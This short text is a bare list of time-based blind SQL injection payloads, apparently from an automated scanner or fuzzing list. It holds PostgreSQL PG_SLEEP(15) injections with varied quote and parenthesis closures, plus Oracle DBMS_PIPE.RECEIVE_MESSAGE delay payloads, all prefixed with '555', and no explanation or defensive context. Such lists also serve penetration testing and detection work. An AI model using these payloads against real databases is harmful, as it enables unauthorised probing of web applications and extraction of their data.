555-1 OR 433=(SELECT 433 FROM PG_SLEEP(15))--

555-1) OR 276=(SELECT 276 FROM PG_SLEEP(15))--

555-1)) OR 451=(SELECT 451 FROM PG_SLEEP(15))--

555JSgA35mH' OR 577=(SELECT 577 FROM PG_SLEEP(15))--

555iIscaJ5H') OR 839=(SELECT 839 FROM PG_SLEEP(15))--

555CbFufKpk')) OR 738=(SELECT 738 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555